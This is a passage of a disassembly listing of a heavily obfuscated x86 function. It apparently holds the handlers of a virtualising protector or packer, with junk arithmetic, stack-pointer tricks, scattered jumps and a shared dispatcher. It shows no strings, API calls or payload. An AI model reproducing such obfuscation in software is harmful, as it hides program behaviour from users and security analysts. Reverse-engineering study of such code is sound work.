loc_591A3C:				; CODE XREF: sub_58A891+10F8Bj
		mov	[esp+50h+var_50], ebx
		jmp	loc_593845
; ---------------------------------------------------------------------------


loc_591A44:				; CODE XREF: sub_58A891+5235j
		push	4AB0h
		mov	[esp+28h+var_28], ebp
		mov	ebp, ebx
		jmp	loc_58ED22
; ---------------------------------------------------------------------------


loc_591A53:				; CODE XREF: sub_58A891+10F40j
		pop	ebx
		jmp	loc_59BAA7
; ---------------------------------------------------------------------------


loc_591A59:				; CODE XREF: sub_58A891+B4EAj
		mov	esp, [esp+24h+var_24]
		btr	word ptr [esp+24h+var_24], ax
		pushf
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_591A67:				; CODE XREF: sub_58A891+5278j
		pop	esp
		mov	[esp-0Ch+arg_4], ebx
		sub	esp, 4
		mov	[esp-8+arg_0], eax
		mov	ebx, [esp-8+arg_0]
		jmp	loc_59849C
; ---------------------------------------------------------------------------


loc_591A79:				; CODE XREF: sub_58A891+788Cj
		pop	edx
		add	bl, 7Ah
		jmp	loc_59645F
; ---------------------------------------------------------------------------


loc_591A82:				; CODE XREF: sub_58A891+A2B7j
		mov	ebx, 725C4D3Ah
		mov	esi, ebx
		pop	ebx
		add	[esp-10h+arg_A+2], 2D223FF0h
		jmp	loc_596AA4
; ---------------------------------------------------------------------------


loc_591A97:				; CODE XREF: sub_58A891+C7C5j
		mov	eax, 6350B5Bh
		or	ebx, eax
		pop	eax
		push	2AADh
		mov	[esp+0], eax
		mov	eax, 6FFFFF5h
		jmp	loc_59314D
; ---------------------------------------------------------------------------


loc_591AB1:				; CODE XREF: sub_58A891+A911j
		mov	ebp, [esp+0]
		add	esp, 4
		add	esi, edi
		add	esi, 7E754A1Dh
		pop	edi
		add	esi, 2
		xor	esi, [esp-18h+arg_14]
		xor	[esp-18h+arg_14], esi
		xor	esi, [esp-18h+arg_14]
		pop	esp
		jmp	loc_5941AC
; ---------------------------------------------------------------------------


loc_591AD8:				; CODE XREF: sub_58A891+FB26j
		push	eax
		jmp	loc_5990C9
; ---------------------------------------------------------------------------


loc_591ADE:				; CODE XREF: sub_58A891+9696j
		mov	ecx, 3Ch
		add	ecx, 1B474372h
		add	ecx, edi
		jmp	loc_596887
; ---------------------------------------------------------------------------


loc_591AF0:				; CODE XREF: sub_58A891+B3CBj
					; sub_58A891+FD6Bj
		pop	ebx
		push	ebp
		push	[esp-18h+arg_18]
		pop	ebp
		jmp	loc_591B8C
; ---------------------------------------------------------------------------


loc_591AFC:				; CODE XREF: sub_58A891+E646j
		push	ecx
		push	esp
		pop	ecx
		push	eax
		jmp	loc_592EDE
; ---------------------------------------------------------------------------


loc_591B05:				; CODE XREF: sub_58A891+76F9j
		pop	ecx
		mov	ecx, [esp-14h+arg_A+2]
		jmp	loc_594405
; ---------------------------------------------------------------------------


loc_591B0E:				; CODE XREF: sub_58A891+470Aj
					; sub_58A891+5C8Cj
		mov	esi, 7F237DD5h
		jmp	loc_591E31
; ---------------------------------------------------------------------------


loc_591B18:				; CODE XREF: sub_58A891+68A9j
		shl	dh, 4
		jnp	loc_59863C
		shl	dh, 8
		jnz	loc_5914E7
		push	ecx
		mov	cl, 66h
		pop	esi


loc_591B2E:				; CODE XREF: sub_58A891+7F59j
		push	13F8h
		mov	[esp+44h+var_44], ecx
		jmp	loc_5982DE
; ---------------------------------------------------------------------------


loc_591B3B:				; CODE XREF: sub_58A891+A831j
		add	ebp, 4
		add	ebp, 4
		jmp	loc_5907DE
; ---------------------------------------------------------------------------


loc_591B4C:				; CODE XREF: sub_58A891+F6DCj
		mov	eax, 4
		jmp	loc_592D63
; ---------------------------------------------------------------------------


loc_591B56:				; CODE XREF: sub_58A891+E242j
		mov	dh, bl
		mov	cl, dh
		pop	edx
		mov	ebx, [esp+40h+var_40]
		add	esp, 4
		not	cl
		shl	cl, 1
		xchg	bl, cl
		not	bl
		xor	cl, bl
		xor	bl, cl
		xor	cl, bl
		sub	cl, 9Fh
		jmp	loc_591735
; ---------------------------------------------------------------------------


loc_591B7A:				; CODE XREF: sub_58A891+D060j
		jge	loc_58F300
		sub	edx, 4FFF77FEh
		mov	eax, edx
		mov	cl, 4Dh
		mov	cl, 97h


loc_591B8C:				; CODE XREF: sub_58A891+7266j
		pop	[esp+44h+var_44]
		mov	esp, [esp+40h+var_40]
		add	esp, 4
		push	[esp+3Ch+var_3C]
		pop	eax
		push	edi
		mov	edi, esp
		add	edi, 4
		push	eax
		push	4
		mov	eax, [esp+48h+var_48]
		jmp	loc_59222A
; ---------------------------------------------------------------------------


loc_591BB3:				; CODE XREF: sub_58A891+8730j
		add	ebp, 0CDEDBE99h
		jmp	loc_590AAD
; ---------------------------------------------------------------------------


loc_591BBE:				; CODE XREF: sub_58A891+90F8j
		sub	dl, 93h
		jmp	loc_59B013
; ---------------------------------------------------------------------------


loc_591BC6:				; CODE XREF: sub_58A891+76B8j
		sub	ecx, eax
		pop	eax
		jmp	loc_595CCE
; ---------------------------------------------------------------------------


loc_591BCE:				; CODE XREF: sub_58A891+FD15j
		add	[esp+44h+var_44], 4
		jmp	loc_58EC31
; ---------------------------------------------------------------------------


loc_591BDA:				; CODE XREF: sub_58A891+4642j
		pop	esp
		add	ebp, esi
		pop	esi
		jmp	loc_594CE8
; ---------------------------------------------------------------------------


loc_591BE3:				; CODE XREF: sub_58A891+10CA8j
		mov	edi, ebp
		jmp	loc_593FCC
; ---------------------------------------------------------------------------


loc_591BEA:				; CODE XREF: sub_58A891+106BFj
		mov	ecx, 3DBA1AC2h
		jmp	loc_59909F
; ---------------------------------------------------------------------------


loc_591BF4:				; CODE XREF: sub_58A891+4234j
					; sub_58A891+99D8j
		jge	loc_591214
		xor	esi, 13AD57C4h
		add	edi, 27D742CFh
		add	edi, esi
		push	esi


loc_591C09:				; CODE XREF: sub_58A891+BD7Ej
		mov	cl, dl
		mov	bl, cl
		pop	ecx
		pop	edx
		pop	cx
		add	dh, 25h
		jmp	loc_593722
; ---------------------------------------------------------------------------


loc_591C19:				; CODE XREF: sub_58A891+7787j
		push	ax
		mov	ah, 0F9h
		sub	cl, ah
		jmp	loc_59A189
; ---------------------------------------------------------------------------


loc_591C24:				; CODE XREF: sub_58A891+97D8j
		sub	al, 0EAh
		add	al, 98h
		sub	al, ch
		sub	al, 98h
		jmp	loc_597A41
; ---------------------------------------------------------------------------


loc_591C31:				; CODE XREF: sub_58A891+65E0j
		push	5A29h
		mov	[esp+8+var_8], ebp
		jmp	loc_59000A
; ---------------------------------------------------------------------------


loc_591C3E:				; CODE XREF: sub_58A891+A359j
		mov	bl, 1Eh
		jmp	loc_598CF8
; ---------------------------------------------------------------------------


loc_591C45:				; CODE XREF: sub_58A891+109D7j
		neg	ecx
		sub	ecx, 149C3848h
		not	ecx
		sub	ecx, 1
		jmp	loc_59698C
; ---------------------------------------------------------------------------


loc_591C5A:				; CODE XREF: sub_58A891+55ACj
		add	eax, 4
		jmp	loc_591F4E
; ---------------------------------------------------------------------------


loc_591C64:				; CODE XREF: sub_58A891+AE5Dj
		add	ecx, 0E3E4F2Eh
		add	ecx, 9BEB7A28h
		mov	esi, ecx
		jmp	loc_596F80
; ---------------------------------------------------------------------------


loc_591C77:				; CODE XREF: sub_58A891+CBB8j
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	esp, 4
		mov	[esp+14h+var_14], ebp
		mov	ebp, 2
		add	eax, 593538F4h
		jmp	loc_592984
; ---------------------------------------------------------------------------


loc_591C94:				; CODE XREF: sub_58A891+5A8Bj
		add	[esp+28h+var_28], 22EE5B53h
		jmp	loc_5929D5
; ---------------------------------------------------------------------------


loc_591CA0:				; CODE XREF: sub_58A891+4753j
		add	ebp, eax
		pop	eax
		xchg	ebp, [esp+3Ch+var_3C]
		pop	esp
		inc	byte ptr [esp+38h+var_38]
		pushf
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_591CB0:				; CODE XREF: sub_58A891+428Dj
		mov	ax, word ptr [esp+3Ch+var_3C]
		push	ebp
		mov	ebp, esp
		push	ecx
		jmp	loc_58F668
; ---------------------------------------------------------------------------


loc_591CBD:				; CODE XREF: sub_58A891:loc_592FC6j
					; sub_58A891+EEB7j
		add	esp, 4
		jmp	loc_59B7D6
; ---------------------------------------------------------------------------


loc_591CC5:				; CODE XREF: sub_58A891+AE71j
		pop	ecx
		jmp	loc_593AC6
; ---------------------------------------------------------------------------


loc_591CCB:				; CODE XREF: sub_58A891+106F1j
		xor	edi, 30352D68h
		add	edx, edi
		pop	edi
		push	edx
		push	[esp+3Ch+var_38]
		pop	edx
		pop	[esp+3Ch+var_3C]
		jmp	loc_598709
; ---------------------------------------------------------------------------


loc_591CE2:				; CODE XREF: sub_58A891+AE8Dj
		push	esi
		mov	esi, 59565DF9h
		or	esi, 67251F49h
		neg	esi
		jmp	loc_599387
; ---------------------------------------------------------------------------


loc_591CF5:				; DATA XREF: sub_58A891+3B67o
		lodsd
		xor	eax, ebx
		push	5757h
		mov	[esp+0Ch+var_C], esi
		jmp	loc_59AE25
; ---------------------------------------------------------------------------


loc_591D05:				; CODE XREF: sub_58A891+A842j
		push	ebp
		push	[esp+10h+var_C]
		jmp	loc_5997B6
; ---------------------------------------------------------------------------


loc_591D0F:				; CODE XREF: sub_58A891+6C6Fj
		mov	edi, ebx
		pop	ebx
		push	ecx
		sub	esp, 4
		mov	[esp+44h+var_44], ebx
		mov	ebx, 67304B94h
		jmp	loc_59079E
; ---------------------------------------------------------------------------


loc_591D26:				; CODE XREF: sub_58A891+97A5j
		pop	edi
		push	edx
		mov	edx, 0F8E0BDEh
		neg	edx
		push	ecx
		push	esi
		mov	esi, 4B550FAAh
		shl	esi, 3
		or	esi, 70BF1A06h
		jnp	loc_595AD7
		and	esi, 667C6700h
		jz	loc_591E09
		add	esi, 0F164EC3h
		sub	esi, 2FF11BDCh
		jmp	loc_59A490
; ---------------------------------------------------------------------------


loc_591D62:				; CODE XREF: sub_58A891+F7B8j
		mov	bx, bp
		pop	ebp
		jmp	loc_598709
; ---------------------------------------------------------------------------


loc_591D6B:				; CODE XREF: sub_58A891+4927j
		push	767Eh
		mov	[esp+1Ch+var_1C], ebx
		mov	ebx, 0CC16782h
		jmp	loc_593B10
; ---------------------------------------------------------------------------


loc_591D7D:				; DATA XREF: sub_58A891+3A97o
		mov	cx, word ptr [esp+8+var_8]
		push	0D6h
		mov	[esp+0Ch+var_C], edx
		sub	esp, 4
		jmp	loc_5927EF
; ---------------------------------------------------------------------------


loc_591D91:				; CODE XREF: sub_58A891+6624j
					; sub_58A891+9EDCj ...
		dec	ah
		jno	loc_5903BC
		xor	ah, 0DAh
		mov	dl, ah
		push	dword ptr [esp+0]
		jmp	loc_591EA7
; ---------------------------------------------------------------------------
		pop	esi


loc_591DA7:				; CODE XREF: sub_58A891+6903j
		xor	edi, ecx
		mov	ecx, [esp+0]
		add	esp, 4
		add	ebp, edi
		jmp	loc_595398
; ---------------------------------------------------------------------------


loc_591DB9:				; CODE XREF: sub_58A891+5270j
					; sub_58A891:loc_599426j
		pop	[esp-8+arg_0]
		push	6FD2h
		mov	[esp-8+arg_0], ecx
		mov	ecx, 4
		jmp	loc_593346
; ---------------------------------------------------------------------------


loc_591DCE:				; CODE XREF: sub_58A891+608Dj
					; sub_58A891+91D9j ...
		add	eax, esi
		push	esi
		mov	esi, 0AF61077h
		sub	eax, esi
		pop	esi
		jmp	loc_599ED5
; ---------------------------------------------------------------------------


loc_591DDE:				; CODE XREF: sub_58A891+5ADFj
		sub	edi, 3CAF2E8Ch
		mov	eax, [esp+24h+var_24]
		add	esp, 4
		add	edi, 4
		xchg	edi, [esp+20h+var_20]
		mov	esp, [esp+20h+var_20]
		jmp	loc_591617
; ---------------------------------------------------------------------------


loc_591DFE:				; CODE XREF: sub_58A891+66C3j
		not	edi
		shl	edi, 8
		dec	edi
		jmp	loc_592290
; ---------------------------------------------------------------------------


loc_591E09:				; CODE XREF: sub_58A891+74BAj
					; sub_58A891+D871j
		add	eax, 597BB49Bh
		sub	ecx, eax
		mov	eax, [esp+4Ch+var_4C]
		push	eax
		mov	eax, esp
		push	edi
		mov	edi, 4
		add	eax, edi
		pop	edi
		add	eax, 4
		jmp	loc_5933C3
; ---------------------------------------------------------------------------


loc_591E29:				; CODE XREF: sub_58A891+47A0j
		mov	ebx, [esp+34h+var_34]
		jmp	loc_5936EC
; ---------------------------------------------------------------------------


loc_591E31:				; CODE XREF: sub_58A891+7282j
					; sub_58A891+A974j
		xor	ebx, esi
		pop	esi
		push	6903h
		mov	[esp+44h+var_44], ebx
		xchg	edi, [esp+44h+var_44]
		jmp	loc_59AF2D
; ---------------------------------------------------------------------------


loc_591E44:				; CODE XREF: sub_58A891+5A37j
		pop	ecx
		jmp	loc_598F50
; ---------------------------------------------------------------------------


loc_591E4A:				; CODE XREF: sub_58A891+473Dj
		mov	[esp+40h+var_40], ecx
		mov	cl, dl
		jmp	loc_59168E
; ---------------------------------------------------------------------------


loc_591E54:				; CODE XREF: sub_58A891+BD3Cj
		push	[esp+40h+var_40]
		jmp	loc_593571
; ---------------------------------------------------------------------------


loc_591E5C:				; CODE XREF: sub_58A891+C36Aj
		mov	ecx, esp
		push	eax
		push	ebp
		mov	ebp, 696A63DBh
		or	ebp, 36A7165Ah
		inc	ebp
		or	ebp, 5BFB3FEFh
		jo	loc_590841
		dec	ebp
		jle	loc_58EE53
		add	ebp, 80008006h
		push	edi
		jmp	loc_590F73
; ---------------------------------------------------------------------------


loc_591E8B:				; CODE XREF: sub_58A891+10D20j
		or	ebx, 6E431059h
		add	ebx, 354A5285h
		jmp	loc_59A74F
; ---------------------------------------------------------------------------


loc_591E9C:				; CODE XREF: sub_58A891+10C2Dj
		xor	ecx, [esp+50h+var_50]
		pop	esp
		div	ecx
		jmp	loc_592BAF
; ---------------------------------------------------------------------------


loc_591EA7:				; CODE XREF: sub_58A891+7510j
					; sub_58A891+F9D7j
		add	dh, 54h
		mov	ah, dh
		pop	edx
		sub	ch, ah
		mov	ax, [esp+0]
		push	7965h
		mov	[esp+0], ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 2
		xchg	ebp, [esp+0]
		mov	esp, [esp+0]
		xor	al, ch
		mov	ecx, [esp+0]
		add	esp, 4
		xor	bl, al
		push	edx
		mov	dl, al
		push	ebx
		mov	ebx, 28h
		push	esi
		mov	esi, 5EA60EA0h
		add	ebx, esi
		mov	esi, [esp+8+var_8]
		jmp	loc_599FE1
; ---------------------------------------------------------------------------


loc_591EF2:				; CODE XREF: sub_58A891+103A5j
		add	ebx, edi
		pop	edi
		pop	eax
		push	ecx
		mov	ecx, 2
		add	ebx, ecx
		jmp	loc_58F2AA
; ---------------------------------------------------------------------------


loc_591F03:				; CODE XREF: sub_58A891+EFF9j
		not	bl
		neg	bl
		jmp	loc_5903DD
; ---------------------------------------------------------------------------


loc_591F0C:				; CODE XREF: sub_58A891:loc_59219Fj
		inc	eax
		js	loc_597FD2
		jmp	loc_599773
; ---------------------------------------------------------------------------
		pop	edx
		push	edx
		mov	al, al
		mov	al, ch


loc_591F1E:				; CODE XREF: sub_58A891+9E5Bj
		add	edi, ecx
		pop	ecx
		xchg	edi, [esp+0]
		mov	esp, [esp+0]
		push	dword ptr [esp+0]
		jmp	loc_595A08
; ---------------------------------------------------------------------------


loc_591F2F:				; CODE XREF: sub_58A891+8421j
		sub	edi, 7F82166Ah
		jmp	loc_5921B3
; ---------------------------------------------------------------------------


loc_591F3A:				; CODE XREF: sub_58A891+10577j
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		push	eax
		mov	eax, 4
		jmp	loc_591BC6
; ---------------------------------------------------------------------------


loc_591F4E:				; CODE XREF: sub_58A891+73CEj
		add	eax, 4
		xchg	eax, [esp+0Ch+var_C]
		pop	esp
		push	edx
		mov	dl, 0E3h
		add	dl, 0D4h
		push	65C5h
		mov	[esp+10h+var_10], ecx
		jmp	loc_594EDC
; ---------------------------------------------------------------------------


loc_591F68:				; CODE XREF: sub_58A891+683Dj
		push	edx
		push	edi
		jmp	loc_59731B
; ---------------------------------------------------------------------------


loc_591F6F:				; CODE XREF: sub_58A891+858Fj
		shl	ebx, 5
		and	ebx, 172F1B34h
		shl	ebx, 4
		or	ebx, 77B43B80h
		jmp	loc_594D5A
; ---------------------------------------------------------------------------


loc_591F86:				; CODE XREF: sub_58A891+BB13j
		sub	[esp+5Ch+var_58], ecx
		jmp	loc_591B05
; ---------------------------------------------------------------------------


loc_591F8F:				; CODE XREF: sub_58A891+D796j
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_591F94:				; CODE XREF: sub_58A891+B9B6j
		mov	ebp, 6BF652F6h
		shl	ebp, 1
		shl	ebp, 5
		shr	ebp, 5
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp+60h+var_60]
		pop	esp
		mov	[esp+5Ch+var_5C], ecx
		push	0DBF579F8h
		pop	ecx
		push	ecx
		mov	ecx, 2F426D2Bh
		sub	ebp, ecx
		pop	ecx
		sub	ebp, ecx
		sub	esp, 4
		mov	[esp+60h+var_60], ebx
		jmp	loc_593CE7
; ---------------------------------------------------------------------------


loc_591FD3:				; CODE XREF: sub_58A891+DDDAj
		pop	esp
		push	6C39h
		mov	[esp+60h+var_60], eax
		jmp	loc_59A3C3
; ---------------------------------------------------------------------------


loc_591FE1:				; CODE XREF: sub_58A891+A15Cj
		push	edx
		mov	dl, 69h
		jmp	loc_59A342
; ---------------------------------------------------------------------------


loc_591FE9:				; CODE XREF: sub_58A891:loc_596BC7j
		or	ecx, 64EC7735h
		jb	loc_58F498
		xor	ecx, 76EEFB75h
		sub	esp, 4
		jmp	loc_593225
; ---------------------------------------------------------------------------


loc_592003:				; CODE XREF: sub_58A891+AB66j
					; sub_58A891+B54Fj
		pop	esp
		jmp	loc_5996B6
; ---------------------------------------------------------------------------


loc_592009:				; CODE XREF: sub_58A891+8B8Aj
		push	bx
		mov	bx, 4636h
		jmp	loc_595032
; ---------------------------------------------------------------------------


loc_592014:				; CODE XREF: sub_58A891+B241j
		mov	cl, 21h
		inc	cl
		jmp	loc_591C19
; ---------------------------------------------------------------------------


loc_59201D:				; CODE XREF: sub_58A891+A57Bj
		push	0
		sub	[esp+6Ah+var_6C+2], ebp
		pop	ebp
		push	2A70h
		jmp	loc_598DD1
; ---------------------------------------------------------------------------


loc_592030:				; CODE XREF: sub_58A891+600Cj
		shl	ecx, 2
		push	ebx
		mov	ebx, 0C51B3F1Ch
		xor	ecx, ebx
		pop	ebx
		add	edi, ecx
		jmp	loc_58EE31
; ---------------------------------------------------------------------------


loc_592043:				; CODE XREF: sub_58A891+EA01j
		mov	[esp+0], edi
		sub	esp, 4
		mov	[esp+0], ebx
		jmp	loc_598A2A
; ---------------------------------------------------------------------------


loc_592054:				; DATA XREF: sub_58A891+39B7o
		lodsd
		push	4F03h
		mov	[esp+0Ch+var_C], ecx
		push	76C6508Eh
		mov	ecx, [esp+10h+var_10]
		add	esp, 4
		sub	eax, ecx
		pop	ecx
		add	eax, 742463C1h
		sub	eax, ebx
		sub	eax, 742463C1h
		push	esi
		push	66306AA5h
		pop	esi
		jmp	loc_594552
; ---------------------------------------------------------------------------


loc_592083:				; CODE XREF: sub_58A891+8E50j
		mov	edi, [esp+0Ch+var_C]
		add	esp, 4
		pop	[esp+8+var_8]
		jmp	loc_5937C0
; ---------------------------------------------------------------------------


loc_592094:				; CODE XREF: sub_58A891+E5CEj
		add	eax, 3171104Ah
		jmp	loc_58E537
; ---------------------------------------------------------------------------


loc_59209E:				; CODE XREF: sub_58A891+62ECj
		mov	edi, ebp
		pop	ebp
		inc	edi
		not	edi
		or	edi, 4FF1088h
		dec	edi
		xor	edi, 0D742E747h
		sub	esi, edi
		jmp	loc_596E11
; ---------------------------------------------------------------------------


loc_5920B8:				; CODE XREF: sub_58A891+8DE9j
		xor	ebx, [esp+4+var_4]
		mov	esp, [esp+4+var_4]
		jmp	loc_58EF61
; ---------------------------------------------------------------------------


loc_5920C3:				; CODE XREF: sub_58A891+110F9j
		sub	ebp, 2A460F29h
		jmp	loc_58F479
; ---------------------------------------------------------------------------


loc_5920CE:				; DATA XREF: sub_58A891+3BC3o
		push	1F4Bh
		push	713Fh
		jmp	loc_58FAF1
; ---------------------------------------------------------------------------


loc_5920DD:				; CODE XREF: sub_58A891+8F58j
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+10h+var_10]
		pop	esp
		and	eax, edx
		mov	edx, [esp+0Ch+var_C]
		jmp	loc_59406E
; ---------------------------------------------------------------------------


loc_5920F3:				; CODE XREF: sub_58A891+F21Aj
		push	esi
		mov	esi, 12FA0857h
		and	edi, esi
		pop	esi
		add	edi, 60324D36h
		add	eax, edi
		pop	edi
		push	437Eh
		mov	[esp+0Ch+var_C], edx
		mov	edx, 1E835A54h
		push	ebp
		jmp	loc_594728
; ---------------------------------------------------------------------------


loc_592118:				; CODE XREF: sub_58A891+88DEj
					; sub_58A891+B438j
		sub	dh, 3Fh
		sub	bl, dh
		jmp	loc_591A79
; ---------------------------------------------------------------------------


loc_592122:				; CODE XREF: sub_58A891+886Aj
					; sub_58A891+9F22j
		xor	bh, ah
		pop	ax
		mov	dl, 0F1h
		add	dl, bh
		mov	ebx, [esp+0Eh+var_10+2]
		add	esp, 4
		and	dl, 1Fh
		shr	dl, 2
		jmp	loc_592F32
; ---------------------------------------------------------------------------


loc_59213B:				; CODE XREF: sub_58A891+96F0j
		push	esp
		pop	edx
		add	edx, 4
		push	ebx
		mov	ebx, 297274D0h
		neg	ebx
		jno	loc_5933E0
		push	ebx
		jmp	loc_597DF8
; ---------------------------------------------------------------------------
		add	ebp, edi
		pop	edi
		sub	esp, 4


loc_592160:				; CODE XREF: sub_58A891+B474j
		xor	[esp+12h+var_14+2], ebp
		jmp	loc_59A09F
; ---------------------------------------------------------------------------


loc_592168:				; CODE XREF: sub_58A891+E006j
		mov	edx, [esp+12h+var_14+2]
		jmp	loc_5947B8
; ---------------------------------------------------------------------------


loc_592170:				; CODE XREF: sub_58A891+E36Cj
		mov	[esp+12h+var_14+2], ebp
		jmp	loc_594E68
; ---------------------------------------------------------------------------


loc_592178:				; CODE XREF: sub_58A891+10F0Fj
		mov	word ptr [esp+12h+var_14+2], dx
		mov	dx, 1B68h
		sub	bx, 74h
		add	bx, dx
		add	bx, 74h
		pop	dx
		add	bx, ax
		push	706h
		mov	[esp+14h+var_14], eax
		jmp	loc_59076B
; ---------------------------------------------------------------------------


loc_59219F:				; CODE XREF: sub_58A891+10362j
		jnz	loc_591F0C
		inc	eax
		js	loc_591744
		jmp	loc_5907AF
; ---------------------------------------------------------------------------
		pop	edx
		push	edx


loc_5921B3:				; CODE XREF: sub_58A891+76A4j
		not	edi
		neg	edi
		neg	edi
		add	edi, 9673ED3Ch
		sub	eax, 12B36B6Bh
		jmp	loc_599098
; ---------------------------------------------------------------------------


loc_5921C9:				; CODE XREF: sub_58A891+7AE7j
					; sub_58A891+F471j
		not	esi
		jmp	loc_594263
; ---------------------------------------------------------------------------


loc_5921D0:				; CODE XREF: sub_58A891+DFB9j
		add	edx, ecx
		pop	ecx
		jmp	loc_59047D
; ---------------------------------------------------------------------------


loc_5921D8:				; CODE XREF: sub_58A891+8AA1j
		mov	edi, 43F2B40h
		push	edi
		xchg	ecx, [esp+14h+var_14]
		jmp	loc_59705B
; ---------------------------------------------------------------------------


loc_5921E6:				; CODE XREF: sub_58A891+BEE1j
		mov	esi, 2
		add	edx, esi
		pop	esi
		xchg	edx, [esp+10h+var_10]
		pop	esp
		mov	ax, word ptr [esp+0Ch+var_C]
		sub	esp, 4
		mov	[esp+10h+var_10], edx
		mov	edx, esp
		jmp	loc_5910F4
; ---------------------------------------------------------------------------


loc_592203:				; CODE XREF: sub_58A891+BC73j
		xchg	eax, [esp+10h+var_10]
		mov	esp, [esp+10h+var_10]
		add	word ptr [esp+10h+var_10], ax
		pushf
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_592213:				; CODE XREF: sub_58A891+40E0j
					; sub_58A891+60E9j
		sub	eax, 612D68A1h
		add	eax, ebx
		sub	esp, 4
		mov	[esp+0], esi
		mov	esi, 612D68A1h
		jmp	loc_598B0C
; ---------------------------------------------------------------------------


loc_59222A:				; CODE XREF: sub_58A891+731Dj
		add	esp, 4
		push	edx
		jmp	loc_59169E
; ---------------------------------------------------------------------------


loc_592236:				; CODE XREF: sub_58A891+CAC9j
		add	[esp+48h+var_48], 4
		pop	eax
		push	ecx
		mov	ecx, 4
		add	eax, ecx
		mov	ecx, [esp+48h+var_48]
		add	esp, 4
		push	esi
		jmp	loc_595949
; ---------------------------------------------------------------------------


loc_592255:				; CODE XREF: sub_58A891+F453j
		push	esi
		mov	esi, 1F610C5Dh
		jmp	loc_58FC94
; ---------------------------------------------------------------------------


loc_592260:				; CODE XREF: sub_58A891+7DC1j
		push	ebx
		mov	ebx, 67694358h
		add	edx, ebx
		mov	ebx, [esp+50h+var_50]
		add	esp, 4
		add	edx, esi
		sub	edx, 67694358h
		pop	esi
		sub	edx, 0D8E0DA25h
		add	edi, edx
		pop	edx
		xor	eax, edi
		jmp	loc_59BA42
; ---------------------------------------------------------------------------


loc_592287:				; DATA XREF: sub_58A891+3A6Fo
		mov	cx, word ptr [esp+8+var_8]
		jmp	loc_58F242
; ---------------------------------------------------------------------------


loc_592290:				; CODE XREF: sub_58A891+7573j
		and	edi, 70D839F3h
		neg	edi
		jmp	loc_593EB7
; ---------------------------------------------------------------------------


loc_59229D:				; CODE XREF: sub_58A891+DC97j
		add	esi, 3E485527h
		jle	loc_595E52
		add	esi, 15D74D50h
		push	ebp
		mov	ebp, 2ADD6C35h
		and	ebp, 216B0E25h
		shl	ebp, 5
		xor	ebp, 65169068h
		sub	esi, 3B0731A4h
		add	esi, ebp
		add	esi, 3B0731A4h
		pop	ebp
		mov	ebp, esi
		jmp	loc_597EA9
; ---------------------------------------------------------------------------


loc_5922DA:				; CODE XREF: sub_58A891+9A1Ej
		push	edi
		jmp	loc_59875C
; ---------------------------------------------------------------------------


loc_5922E0:				; CODE XREF: sub_58A891+5F8Dj
		pop	eax
		add	edx, eax
		mov	eax, [esp-8+arg_0]
		jmp	loc_592B40
; ---------------------------------------------------------------------------


loc_5922EB:				; CODE XREF: sub_58A891+AAC3j
		mov	[esp-8+arg_0], esi
		sub	esp, 4
		mov	[esp+0], esp
		add	dword ptr [esp+0], 4
		mov	esi, [esp+0]
		add	esp, 4
		push	edx
		jmp	loc_592518
; ---------------------------------------------------------------------------


loc_592307:				; CODE XREF: sub_58A891+56B2j
		push	7670h
		mov	[esp+54h+var_54], ebp
		jmp	loc_598CE9
; ---------------------------------------------------------------------------


loc_592314:				; CODE XREF: sub_58A891+4BF4j
		pop	ecx
		add	ebx, ebp
		jmp	loc_592F60
; ---------------------------------------------------------------------------


loc_59231C:				; CODE XREF: sub_58A891+A08Bj
					; sub_58A891+E213j
		mov	[esp+48h+var_48], ecx
		mov	ecx, 561C42BAh
		inc	ecx
		jo	loc_59058A
		add	ecx, 3CC26152h
		xor	edi, ecx
		pop	ecx
		sub	eax, edi
		mov	edi, [esp+44h+var_44]
		add	esp, 4
		push	536Ah
		mov	[esp+44h+var_44], esi
		jmp	loc_59964E
; ---------------------------------------------------------------------------


loc_59234C:				; CODE XREF: sub_58A891+A073j
		not	eax
		sub	eax, 8751A418h
		jmp	loc_58EAC4
; ---------------------------------------------------------------------------


loc_592358:				; CODE XREF: sub_58A891+9E41j
		ror	[esp+44h+var_44], cl
		pushf
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_592361:				; CODE XREF: sub_58A891+7BDFj
		pop	esp
		mov	[esp+44h+var_44], ebx
		push	eax
		mov	eax, 40785A21h
		push	eax
		dec	[esp+4Ch+var_4C]
		pop	eax
		jmp	loc_5993E3
; ---------------------------------------------------------------------------


loc_592375:				; CODE XREF: sub_58A891+D6CCj
		sub	esi, 0FFFFFFFFh
		jmp	loc_5921C9
; ---------------------------------------------------------------------------


loc_59237D:				; CODE XREF: sub_58A891+69B9j
		jp	loc_5942E6
		push	0E8Bh
		mov	[esp+8+var_8], esi
		mov	esi, 734934B5h
		push	ebp


loc_592391:				; CODE XREF: sub_58A891+ED0Fj
		mov	ebp, ebx
		pop	ebx
		sub	edi, ebp
		pop	ebp
		jmp	loc_59246D
; ---------------------------------------------------------------------------


loc_59239C:				; CODE XREF: sub_58A891+B2CBj
		dec	esi
		shr	esi, 2
		shl	esi, 5
		add	esi, 88A50EFh
		jmp	loc_59A845
; ---------------------------------------------------------------------------


loc_5923AE:				; CODE XREF: sub_58A891+C892j
		sub	esp, 4
		jmp	loc_5983EB
; ---------------------------------------------------------------------------


loc_5923B6:				; CODE XREF: sub_58A891+4A6Aj
		shl	edx, 8
		neg	edx
		inc	edx
		add	edx, 9D3B6730h
		sub	ebx, edx
		pop	edx
		mov	edx, [esp+2Ch+var_2C]
		add	esp, 4
		sub	esp, 4
		jmp	loc_59527C
; ---------------------------------------------------------------------------


loc_5923D6:				; CODE XREF: sub_58A891+7BB8j
		mov	esp, [esp+2Ch+var_2C]
		mov	[esp+2Ch+var_2C], ebx
		push	[esp+2Ch+var_2C]
		mov	eax, [esp+30h+var_30]
		add	esp, 4
		add	esp, 4
		push	3854h
		mov	[esp+2Ch+var_2C], edx
		push	800h
		mov	edx, [esp+30h+var_30]
		jmp	loc_599FC5
; ---------------------------------------------------------------------------


loc_592400:				; CODE XREF: sub_58A891+E861j
		add	esp, 4
		and	ecx, eax
		push	[esp+2Ch+var_2C]
		pop	eax
		push	ebp
		push	esp
		pop	ebp
		jmp	loc_59BBAB
; ---------------------------------------------------------------------------


